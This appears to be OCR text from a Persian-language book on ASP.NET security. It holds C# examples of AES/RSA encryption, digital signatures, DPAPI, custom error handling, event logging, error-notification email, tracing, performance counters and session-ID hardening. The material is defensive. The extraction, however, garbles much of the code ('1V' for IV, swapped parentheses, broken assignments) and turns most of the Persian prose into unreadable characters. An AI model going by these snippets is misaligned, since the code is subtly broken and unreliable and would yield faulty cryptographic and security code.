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public static EncryptedPacket Encryption(string input,RSAWithParameters rsaParams,RSAParameters
publicKey)

{

var aes = new AES();

var Sessionkey = aes.GenerateRandomNumber(32);

var EncryptedPacket = new EncryptedPacket

{

IV = aes.GenerateRandomNumber(16)

b

EncryptedPacket.EncryptedData = aes.Encrypt(Encoding. UTF8.GetBytes(input), Sessionkey,
EncryptedPacket.1V);

EncryptedPacket.EncryptedSessionkey = rsaParams.Encryption(Sessionkey, publicKey);
using (var hmac = new HMACSHA256(Sessionkey))

{
EncryptedPacket. HMAC = hmac.ComputeHash(EncryptedPacket.EncryptedData);

}

return EncryptedPacket;

}

}

public class EncryptedPacket

{

public byte[] EncryptedSessionkey;
public byte[] EncryptedData;
public byte[] 1V;

public byte[] HMAC;

}

public class RSAWithParameters

{
public byte[] Encryption(byte[] input, RSAParameters rsaKey)

{

byte[] cipherBytes;

using (var rsa = new RSACryptoServiceProvider(2048))
{

rsa.ImportParameters(rsaKey);
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cipherBytes = rsa.Encrypt(input, true);
}

return cipherBytes;

}
public byte[] Decryption(byte[] input, RSAParameters rsaKey)

{

byte[] plain;

using (var rsa = new RSACryptoServiceProvider(2048))
{
rsa.ImportParameters(rsaKey);
plain = rsa.Decrypt(input, true);
}

return plain;

}

}

class AES

{
public byte[] GenerateRandomNumber(int Length)

{
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())

{
byte[] randomNumber = new byte[Length];
rng.GetBytes(randomNumber);

return randomNumber;

}

}

public byte[] Encrypt(byte[] dataToEncrypt, byte[] key, byte[] iv)
{

using (var aes = new AesManaged())

{

aes.Mode = CipherMode.CBC;

aes.Padding = PaddingMode.PKCS7;

aes.Key = key;

aes.lV =v;
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using (var ms = new MemoryStream())

{

var cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(dataToEncrypt, 0, dataToEncrypt.Length);

cs.FlushFinalBlock();

return ms.ToArray();

}

}

}

public byte[] Decrypt(byte[] dataToDecrypt, byte[] key, byte[] iv)

{

using (var aes = new AesCryptoServiceProvider())//new AesManaged()
{

aes.Mode = CipherMode.CBC;

aes.Padding = PaddingMode.PKCS7;

aes.Key = key;

aes.lV =iv;

using (var ms = new MemoryStream())

{

var ¢s = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(dataToDecrypt, 0, dataToDecrypt.Length);
cs.FlushFinalBlock();

return ms.ToArray();

}

}
}
}
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using System;

using System.Collections.Generic;
using System.Ling;

using System.Text;

using System.Security.Cryptography;

namespace DigitalSignature

{

class Program

{
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static void Main(string[] args)

{

var document = Encoding.UTF8.GetBytes(*'Document");
byte[] hashedDocument;

using (var hash = SHA256.Create())

{

hashedDocument = hash.ComputeHash(document);

}

var ds = new DigitalSignature();

ds.AssignNewKey();

var signature = ds.SignData(hashedDocument);

var verified = ds.VerifySignature(hashedDocument,signature);
Console.WriteLine("main text: "+Encoding.UTF8.GetString(document));
Console.WriteLine("DigitalSignature: "+Convert.ToBase64String(signature));
if(verified)

Console.WriteLine("verified");

else Console.WriteLine("'not verified");

Console.ReadKey();

}

}

class DigitalSignature

{

RSAParameters publicKey, privateKey;
public void AssignNewKey()

{
using (var rsa = new RSACryptoServiceProvider(2048))

{
rsa.PersistKeyInCsp = false;
publicKey = rsa.ExportParameters(false);

privateKey = rsa.ExportParameters(true);

}
}

Y520



public byte[] SignData(byte[] hashedData)

{
using (var rsa = new RSACryptoServiceProvider(2048))

{

rsa.PersistKeyInCsp = false;
rsa.ImportParameters(privateKey);

var rsaFormatter = new RSAPKCS1SignatureFormatter(rsa);
rsaFormatter.SetHashAlgorithm("SHA256");

return rsaFormatter.CreateSignature(hashedData);

}

}
public bool VerifySignature(byte[] hashedData,byte[] signature)

{
using (var rsa = new RSACryptoServiceProvider(2048))

{

rsa.ImportParameters(publicKey);

var rsaDeformatter = new RSAPKCS1SignatureDeformatter(rsa);
rsaDeformatter.SetHashAlgorithm("SHA256");

return rsaDeformatter.VerifySignature(hashedData, signature);

}

}
}
}
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static class CertificateHelper

{

public static X509Certificate2 ToCertificate(this string subjectName,

StoreName name = StoreName.My, StoreLocation location =

StoreLocation.LocalMachine)

{

X509Store store = new X509Store(name, location); store.Open(OpenFlags.ReadOnly); try {
var cert = store.Certificates.OfType<X509Certificate2>()

FirstOrDefault(c =>

c.SubjectName.Name.Equals(subjectName,

StringComparison.OrdinallgnoreCase)); return (cert = null) ? new X509Certificate2)cert): null;
} finally

{ store.Certificates.Of Type<X509Certificate2>)).ToList)).ForEach)c=>c.Reset

));

store.Close();

}

}
}
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string dataToKamran = "1234 5678 9012 3456 06/13";

var cert = "CN=Kamran".ToCertificate(); var provider =
(RSACryptoServiceProvider)cert.PublicKey.Key;

/I Note the use of public key byte[] cipherText = provider.Encrypt(Encoding.UTF8
.GetBytes(dataToKamran), true); Console.WriteLine(Convert. ToBase64String(cipherText));

/' What gets sent to Kamran is cipherText
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/I Kamran receives cipherText here

/I Kamran decrypts the cipherText using her private key

var cert = "CN=Kamran".ToCertificate(); var provider = (RSACryptoServiceProvider)cert.PrivateKey;
Console.WriteLine) Encoding.UTF8.GetString) provider.Decrypt(cipherText, true)));
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string publicKey = String.Empty; string privateKey = String.Empty; using (RSACryptoServiceProvider
rsa = new RSACryptoServiceProvider)))
{ publicKey = rsa.ToXmlString(false); privateKey = rsa.ToXmlString(true);

}
@ Lo Ll e XML ool o CJB sTOXmISHriNG () 59, 3o ke 5oy sloodS asgs

D¢ oolawl key container <G 5l wb ol sl a0 .0S oy e BB 1 LT cuswl LYo

1o >3 sl key container i eslawl o wilsi. System.Security.Cryptography.CspParameters
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byte[] encryptedData = null; byte[] secretData = Encoding.UTF8.GetBytes("1234 5678 9012 3456
06/13");

/I Sender's end using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider)))

{ rsa.FromXmlString(publicKey); // encrypt using public key encryptedData = rsa.Encrypt(secretData,

true);

}

/I Receiver's end using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider)))
{ rsa.FromXmlString(privateKey); // decrypt using private key

Console.WriteLine(Encoding.UTF8.GetString(rsa.Decrypt)encryptedData, true))); }
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using System;
using System.Collections.Generic;
using System.Linq;

using System.Text;

namespace IDisposableDemo

{

class Program

{

static void Main(string[] args)

{

using (Sample s = new Sample())

{

}
}
}

class Sample: IDisposable

{
public void Dispose()
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/I This is an example of entropy. In a real application

/I it should be a cryptographically secure array of random data.
private static byte[] entropy = {1, 3,5, 7, 9, 11, 15, 17, 19};
static byte[] EncryptUsingDPAPI(byte[] clearText)

{ return ProtectedData.Protect)

clearText, entropy, DataProtectionScope.LocalMachine);

} static byte[] DecryptUsingDPAPI(byte[] encryptedText)

{ return ProtectedData.Unprotect(

encryptedText, entropy, DataProtectionScope.LocalMachine);

}
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Server Error in '/Bad Exceptions' Application
An errar has occurred while establishing a connection to the server, When connecting to SQL Server 2005, this fallure imay be
caused by the fact that under the default settings SQL Server does not allow remote connections, (provider: Named Pipes
Pravider, error; 40 - Could not open a connection to SQL Server)
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Server Error in '/Bad Exceptions’ Application
Runtime Error
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<system.web>
<customErrors mode="0n" defaultRedirect="~/error.aspx">
</customErrors>

</system.web>
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<system.web>

<customErrors mode="0n" defaultRedirect="~/error.aspx" >
<error statusCode="404" redirect="~/notfound.aspx" />
</customErrors>

</system.web>
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try

{
file.ReadBlock(buffer, index, buffer.Length);

}
catch (FileNotFoundException e)

{

Server.Transfer("NoFileErrorPage.aspx", true);

}
catch (System.10.10Exception €)

{

Server.Transfer("IOErrorPage.aspx", true);

}
finally

{
if (file 1= null)
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{
file.Close();

}
}
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private void Page_Error(object sender, EventArgs e)

{

Exception exc = Server.GetLastError();
// Handle specific exception.
if (exc is HttpUnhandledException)

{

ErrorMsgTextBox.Text = "An error occurred on this page. Please verify your " +

"information to resolve the issue."

}

/I Clear the error from the server.
Server.ClearError();

}
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<configuration>

<system.web>

<customErrors mode="0n"
defaultRedirect="ErrorPage.aspx?handler=customErrors%20section%20-%20Web.config">
<error statusCode="404"
redirect="ErrorPage.aspx?msg=404&amp;handler=customErrors%20section%20-
%20Web.config"/>

</customErrors>

</system.web>

</configuration>
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void Application_Error(object sender, EventArgs €)

{

Exception exc = Server.GetLastError();

if (exc is HttpUnhandledException)
{

/I Pass the error on to the error page.
Server.Transfer("ErrorPage.aspx?handler=Application_Error%20-%20Global.asax",

true);

}
}
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EventLog.WriteEntry("MyWebApplication™,
"Something bad happened"”, EventLogEntryType.Error, 101);
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EventLog.CreateEventSource("MyWebApplication”, "Application") ;
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EventLog.CreateEventSource("FrontEnd", "APA"); EventLog.CreateEventSource('BackEnd", "APA");
S BackEnd g FrontEnd :s s ace g0 a5 i ool APA ol 4y o5 )lhw dlayg, cud G oS ()
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EventLog customLog = new EventLog("WroxApp", ".", "FrontEnd"); customLog.WriteEntry(*"Something

bad happened",
EventLogEntryType.Error, 101);
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System.Web.Mail
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<system.net>

<mailSettings >

<smtp from="webapplication@domain.example" >

<network userName="mailUsername" password="mailPassword" host="mailServer.domain.example" /
>

</smtp>

</mailSettings> </system.net >
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System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage)
"from@webapplication.domain”, "webMonitor@company.example"(; message.Subject = "Unhanded
exception in "+Context.Request.Path; message.Body = Server.GetLastError)(.ToString));
message.Priority = System.Net.Mail.MailPriority.High;

System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient(); smtp.UseDefaultCredentials =

true; smtp.Send(message);
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<%@ Page Async="true" ... %>
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U sl pl 055 51 cudigigy G Mo (o, SeNdASYNEspls sl userState yiol )b 5l eslaul b slayy,
SO PNCIV Y WO P VIR W R /22107 P TURTE S g RSV ROV I RFPCIIR & TPV

using System; using System.Collections.Generic; using System.ComponentModel; using
System.Net.Mail; using System.Web;

public partial class _Default: System.Web.Ul.Page

{.... protected void Page_Error)object sender, EventArgs e)

{

MailMessage mail = new MailMessage();

/I Create the message mail.From = new MailAddress("webError@wrox.example™);
mail. To.Add("monitor@wrox.example™); mail.Subject =

"Unhanded exception in "+Context.Request.Path; mail.Body = Server.GetLastError().ToString();
SmtpClient smtp = new SmtpClient(); object userState = mail;

/Iwire up the Asynce event for the send is completed smtp.SendCompleted += new
SendCompletedEventHandler) smtp_SendCompleted(; smtp.SendAsync)mail, userState);
} void smtp_SendCompleted)object sender, AsyncCompletedEventArgs e) {

//Get the Original MailMessage object

MailMessage mail = (MailMessage)e.UserState;

if (e.Error = null)
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{

LogErrorElsewhere)
"Error {1} occurred when sending mail [{0}] ", mail.Subject,
e.Error.ToString());

}
b}

o wb L owblyw&quw1Ju|;|Mudm\dpbsm,xgm)o%&
sl 00 o)) &S i ol o 5 os) glyie (sl o uwg%ww&o
ASP, NE%«QE,! oLl V—F-¥

Sl iales gl pis 3 a5 el ASPINET s, ¢ \UP 2, Sy e Sl S
dao SO (59, Glye 1) 2o, Oledbl wiSw wol 3 axio ulﬁ%ul.c)lbl 5 Gile) caman slaslasg,

a5 asSl b, Sledlbl il oo pulais oyl By .o \ W‘ sloanl, jo Trace="true” .l L

Bl aas 4y (el ouls ools HLas Y-V IS o

va¥



@ npiocaost 4947 Uiy £ et fost e - Wmndows imtemet Explon: =

8 A0/ Nt $9573 Ay N0 Ema i Det auit. Jips wiby | K sl B e
@ g/ \ocaast 4S8 1Y Anyn 0 Emaik/ Detauk Bp =B =~ #p = Page~ )Tesh >
[@Request Details
Sesslon Id: Tthw Spbztmiie, Raquest Type: GET
| Time of Request: J 1 Status Code

| Reguest Encoding:

| Category From Last(s)

| aspx.page Segin Prelrut
| aspx.page End Prairet 0013539
| aspx.page gogn Tt 0.0003167
| aspu.page End It 0.000173
| Bagn IntComplats 0.0000s7
| End IntComplsts 6565 30005 0.900087
| Bagn Preload 0.014 240022126 ), Q00045
| End Proload G.01M020811508107 0.000045
| aspx.page Hegin Load 0.0141120R7506272 0.200050
| sspx.page End Load Q.0185011096511907 0004291
| aspx.page Degn AaCompsate Q.01MG2094029 70728 0.9001 74
| aspx.page £nd LoadComplite 0.0166744404665954 0000047
| 290 page Bagn Preftender ).018 72444682015 0.000050
| aspx.page End PraRendat 0.0 1804060229 2600 0.000123%
| anpx.page llegn PrefianderCompéote 00100902 29204004 18 ), O000%0
| aspx.page End ProRandarCeenplote 0.000046
| asps.page Hegn Savestate 5
| aspx.page Eng Savefitate

ANDE DION Hagn SavefituteComplote
| anpe . page Eng ¢ StateCompsate
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| Yagy ASP default aspx 447 0
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web.configi |, col oo ools lis p5 40 a5 asST ¢ Sbs, yaie (g0, S wb Leds el ol (gam S0
| AsS aslsl

<system.web>

... <trace

enabled = "true" localOnly = "true" pageOutput = "false" traceMode = "SortByTime" requestLimit =
"25" mostRecent = "true" / >

</system.web>

Yao



Ao |y Gl pl e s g adae iuled | lwlss o 5l s trace.axd (6,138 )L wad Jlad a5 234
oo |y Canlgz o 2 Slo e oS

s Sl 5l gl e I8 false ol Slles (15315 o 1, localOnly cas oBos :ylaia

g Lot (ol 0l o0k Oledlbl wlgie a5 wis Koo trace.axd Jld g=ao SG Jloo 4,%'\

DB
o Lo @% Sy

}‘% 31 oolicw! V-F-F

g 0 laslisl g, SO

UL
9 ASP.NET )9 g el 1 54‘)'5 }BU o)il.o.c L_S"‘)lf 9 Ml.;ﬁ s u@)j
9 )39.:.».9[5 ASPNET)J u)LL:.’ ‘5‘).’ "\?"5':':" Lods a5 ol o o&@ﬂ kj)).i 6'.&.994.7:.@ La > c\.ol.’f )inb

s oo 5la 2003 jeang o 1,2 )°l5 GGy IS a5 ] sle asl

YooV jeamg o 28 ,bL:F-Y s

yas



S pedaid doli oS jo | l.eﬂ polde g 0SS Sbml 09> asly sl 2L lo ous)leds wlgw Lo
b S e 5 (B35l (slasg,g olasd Mradlie) slae olie ¢ oS (sl ouiled glgil o w3l

A (4 5 Loalys o Seafuile;

WS o2l 8 adgi laore SO 5o )5 sl ous Lot sl 05, (y0938] (gl ool g, SO 5.3¢5.’:.wl Jlsis
Slul |y b oas,leds o] (59, dudlyses a1, ile .0usS 5L gogiwl Jlgig 4o, SEFVer Explorer lol
A bl 1y s ©es, slol g aS cal, SIS Performance Counters 35 s ss, 5 oS 5L oS
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string counterCategory = "SecuringASPNet"; if
(PerformanceCounterCategory.Exists)counterCategory() {
PerformanceCounterCategory.Create(counterCategory,
"My category description/Help", PerformanceCounterCategoryType.Singlelnstance,

"CounterName",

"Counter Description/Help™);

}
O ook 5l ez sa 2bs, S ds ouijlad Sy 033! el a5 el il G el 0 ey JISEI S

o b el oy obml pe ol pais obml Gl o)l sezg aslp
I dagpleds 2 g9 aulgim Lol acgozmoe ol 5l oolawl b .oy5Luy CounterCreationDataCollection
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string counterCategory = "SecuringASPNet"; if

("PerformanceCounterCategory.Exists(counterCategory))
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{ CounterCreationDataCollection counterCreationDataCollection = new
CounterCreationDataCollection(); counterCreationDataCollection.Add) new
CounterCreationData)"BadGuysFound”, "Total number of bad guys detected",
PerformanceCounterType.NumberOfltems32)

(; counterCreationDataCollection.Add(new CounterCreationData)"BadGuysFoundPerSecond",
"How many bad guys have been detected", PerformanceCounterType.RateOfCountsPerSecond32(
5

PerformanceCounterCategory.Create(counterCategory, "My category description/Help",

PerformanceCounterCategoryType.Singlelnstance, counterCreationDataCollection);
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auS eolaiwl o wls) we )l o InstallUtil 51 L e 5 0SS 5585 PerformanceCounterinstaller
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[Runlinstaller(true)] public class Countersinstaller: PerformanceCounterlinstaller { public

Counterslnstaller()

{
this.CategoryName = "SecuringASPNet"; Counters.Add(new CounterCreationData("'BadGuysFound",

"Total number of bad guys detected",

PerformanceCounterType.NumberOfltems32)

(; Counters.Add) new CounterCreationData("BadGuysFoundPerSecond", "How many bad guys have
been detected",

PerformanceCounterType.RateOfCountsPerSecond32)
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PerformanceCounter badGuysFound =
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new PerformanceCounter("SecuringASPNet",

"BadGuysFound", false);

PerformanceCounter badGuysFoundPerSecond = new PerformanceCounter("SecuringASPNet",
"BadGuysFoundPerSecound", false);

badGuysFound.Increment(); badGuysFoundPerSecond.IncrementBy(1);
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PerformanceCounter badGuysFoundPerSecond = new PerformanceCounter(*SecuringASPNet”,
“BadGuysFoundPerSecound”,

“My Instance Name”, false);
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private string GenerateHashKey()

{
StringBuilder myStr = new StringBuilder();

myStr.Append(Request.Browser.Browser);
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myStr.Append(Request.Browser.Platform);
myStr.Append(Request.Browser.MajorVersion);
myStr.Append(Request.Browser.MinorVersion);

SHAL sha = new SHA1CryptoServiceProvider();

byte[] hashdata = sha.ComputeHash(Encoding.UTF8.GetBytes(myStr.ToString()));
return Convert.ToBase64String(hashdata);

}

protected void Application_BeginRequest(object sender, EventArgs e)

{

if (Request.Cookies["ASP.NET_Sessionld"] !'= null && Request.Cookies["ASP.NET_Sessionld"].Value
1= null)

{

string newSessionID = Request.Cookies[*ASP.NET_SessionID"].Value;

if (newSessionlD.Length <= 24)

{

Response.Cookies["TriedTohack'].Value = "True";
throw new HttpException("Invalid Request");

}

if (GenerateHashKey() !'= newSessionlD.Substring(24))
{

Response.Cookies["TriedTohack'].Value = "True";
throw new HttpException("Invalid Request");

}
Request.Cookies["ASP.NET_Sessionld"].Value =

Request.Cookies["ASP.NET_Sessionld"].Value.Substring(0, 24);
}

protected void Application_EndRequest(object sender, EventArgs e)
{
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if (Response.Cookies["ASP.NET_Sessionld"] != null)

{
Response.Cookies["ASP.NET_Sessionld™].Value = Request.Cookies["'ASP.NET_Sessionld"].Value +
GenerateHashKey();

}
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Session.Abandon();

Response.Cookies[ "Asp.NET_SessionId”].Expires = DateTime.Now.AddDays(-30);
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